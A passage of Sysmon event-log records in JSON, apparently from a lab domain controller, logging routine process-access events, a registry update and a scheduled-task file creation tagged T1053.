11:49:40.344","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"636","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":893,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.344\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 1152\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00108D130100}\r\nTargetProcessId: 1924\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d7ae|C:\\Windows\\system32\\services.exe+20a11|C:\\Windows\\SYSTEM32\\ntdll.dll+2b9ae|C:\\Windows\\SYSTEM32\\ntdll.dll+29bc4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.344","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"1152","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00108D130100}","TargetProcessId":"1924","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d7ae|C:\\Windows\\system32\\services.exe+20a11|C:\\Windows\\SYSTEM32\\ntdll.dll+2b9ae|C:\\Windows\\SYSTEM32\\ntdll.dll+29bc4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":894,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.344\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00108D130100}\r\nTargetProcessId: 1924\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.344","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00108D130100}","TargetProcessId":"1924","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":895,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.344\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 636\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00108D130100}\r\nTargetProcessId: 1924\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.344","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"636","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00108D130100}","TargetProcessId":"1924","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":896,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.344\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 1108\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00108D130100}\r\nTargetProcessId: 1924\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.344","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"1108","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00108D130100}","TargetProcessId":"1924","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":897,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.360\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 636\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001073D20000}\r\nTargetProcessId: 1376\r\nTargetImage: C:\\Windows\\system32\\dwm.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.360","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"636","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001073D20000}","TargetProcessId":"1376","TargetImage":"C:\\Windows\\system32\\dwm.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":13,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":13,"OpcodeValue":0,"RecordNumber":898,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Registry value set:\r\nRuleName: \r\nEventType: SetValue\r\nUtcTime: 2020-08-07 11:49:40.360\r\nProcessGuid: {90617006-3FD4-5F2D-0000-00103DC30000}\r\nProcessId: 1220\r\nImage: C:\\Windows\\system32\\svchost.exe\r\nTargetObject: HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\NetworkList\\Profiles\\{CD132803-E839-4F9C-B8ED-119781049A0F}\\DateLastConnected\r\nDetails: Binary Data","Category":"Registry value set (rule: RegistryEvent)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.360","ProcessGuid":"{90617006-3FD4-5F2D-0000-00103DC30000}","Image":"C:\\Windows\\system32\\svchost.exe","TargetObject":"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\NetworkList\\Profiles\\{CD132803-E839-4F9C-B8ED-119781049A0F}\\DateLastConnected","Details":"Binary Data","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":899,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.360\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00108D130100}\r\nTargetProcessId: 1924\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+6d83|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.360","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00108D130100}","TargetProcessId":"1924","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+6d83|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":900,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: T1053\r\nUtcTime: 2020-08-07 11:49:40.360\r\nProcessGuid: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nProcessId: 1132\r\nImage: C:\\Windows\\system32\\svchost.exe\r\nTargetFilename: C:\\Windows\\Tasks\\SA.DAT\r\nCreationUtcTime: 2016-09-12 11:34:03.403","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"T1053","UtcTime":"2020-08-07 11:49:40.360","ProcessGuid":"{90617006-3FD4-5F2D-0000-00101AB90000}","Image":"C:\\Windows\\system32\\svchost.exe","TargetFilename":"C:\\Windows\\Tasks\\SA.DAT","CreationUtcTime":"2016-09-12 11:34:03.403","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":901,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.375\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 900\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.375","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"900","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":902,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.375\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 636\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 